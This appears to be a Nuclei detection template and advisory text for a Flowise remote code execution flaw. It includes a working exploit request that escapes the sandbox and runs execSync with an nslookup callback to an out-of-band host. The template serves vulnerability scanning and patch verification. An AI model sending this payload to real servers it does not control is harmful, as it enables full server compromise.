Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.
PoC
id: CVE-2026-46442
info:
name: Flowise < 3.1.2 - node-custom-function Unauthorized RCE
author: DhiyaneshDk,princechaddha
severity: critical
description: |
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.
impact: |
Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.
remediation: |
Update to version 3.1.2 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-46442
- https://github.com/FlowiseAI/Flowise
- https://github.com/FlowiseAI/Flowise/security/advisories
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-46442
cwe-id: CWE-78
epss-score: 0.3634
epss-percentile: 0.98403
cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
metadata:
verified: false
max-request: 2
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,cmdi,rce,oob,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: body
words:
- "Flowise"
internal: true
- raw:
- |
POST /api/v1/node-custom-function HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"functionBody":"require('child_process').execSync('nslookup {{interactsh-url}}');return '';","nodeData":{"inputs":{}}}
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
# digest: 4a0a00473045022100fd9d6ee9dbb708f891dc245a77c382df26f4edeca53f1c23daabe167c02a25e802204ffd68796839a51777f19acd1eb5c1f9a867a954f5118f59e86630581fcf0c9b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.